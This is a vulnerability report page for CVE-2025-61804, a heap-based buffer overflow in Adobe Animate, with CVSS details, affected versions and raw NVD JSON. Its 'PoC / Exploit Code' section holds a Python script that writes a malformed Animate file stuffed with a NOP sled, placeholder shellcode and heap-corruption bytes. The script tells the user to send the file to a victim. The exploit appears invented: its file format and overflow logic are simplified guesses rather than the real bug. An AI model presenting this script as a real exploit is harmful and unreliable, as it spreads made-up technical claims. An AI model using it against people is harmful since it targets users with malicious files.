Security Vulnerability Report
中文
CVE-2025-61804 CVSS 7.8 HIGH

CVE-2025-61804

Published: 2025-10-15 01:15:32
Last Modified: 2025-10-17 14:57:04

Description

Animate versions 23.0.13, 24.0.10 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Animate <= 23.0.13
Adobe Animate <= 24.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61804 - Adobe Animate Heap-based Buffer Overflow PoC # This PoC demonstrates the concept of crafting a malicious Animate file # that triggers a heap-based buffer overflow when opened in vulnerable versions. import struct import sys def craft_malicious_anim_file(output_path): """ Generate a malformed Animate project file to trigger heap buffer overflow. The file exploits insufficient bounds checking in the file parser. """ # Normal Animate file header (simplified representation) header = b'FLA\x01\x00' # File magic bytes header += struct.pack('<H', 24) # Version header += struct.pack('<I', 0) # Reserved # Craft a malicious payload section with oversized data # This field is intended to hold a fixed-size buffer (e.g., 256 bytes) # but the parser fails to validate the length before copying section_type = b'\x41\x4E\x49\x4D' # 'ANIM' section marker declared_length = struct.pack('<I', 4096) # Claims 4096 bytes # Normal data (256 bytes to fill legitimate buffer) normal_data = b'\x00' * 256 # Overflow payload - NOP sled + shellcode placeholder # In a real exploit, this would contain shellcode for RCE nop_sled = b'\x90' * 1024 # Placeholder for actual shellcode (e.g., reverse_tcp payload) shellcode_placeholder = b'\xCC' * 2048 # INT3 breakpoints for testing # Additional heap metadata corruption to aid exploitation heap_corruption = b'\x41' * 512 payload = normal_data + nop_sled + shellcode_placeholder + heap_corruption # Assemble the malicious file malicious_file = header + section_type + declared_length + payload with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[*] Malicious Animate file generated: {output_path}") print(f"[*] File size: {len(malicious_file)} bytes") print("[*] Send this file to the victim and wait for them to open it in Adobe Animate") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.fla" craft_malicious_anim_file(output)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61804", "sourceIdentifier": "[email protected]", "published": "2025-10-15T01:15:31.983", "lastModified": "2025-10-17T14:57:04.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Animate versions 23.0.13, 24.0.10 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.0.0", "versionEndExcluding": "23.0.15", "matchCriteriaId": "ADF27AA6-00D4-49BD-B753-C3B483684612"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.0.12", "matchCriteriaId": "C68A2C2C-91FD-4FE9-8C06-15E7B9E49F44"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/animate/apsb25-97.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}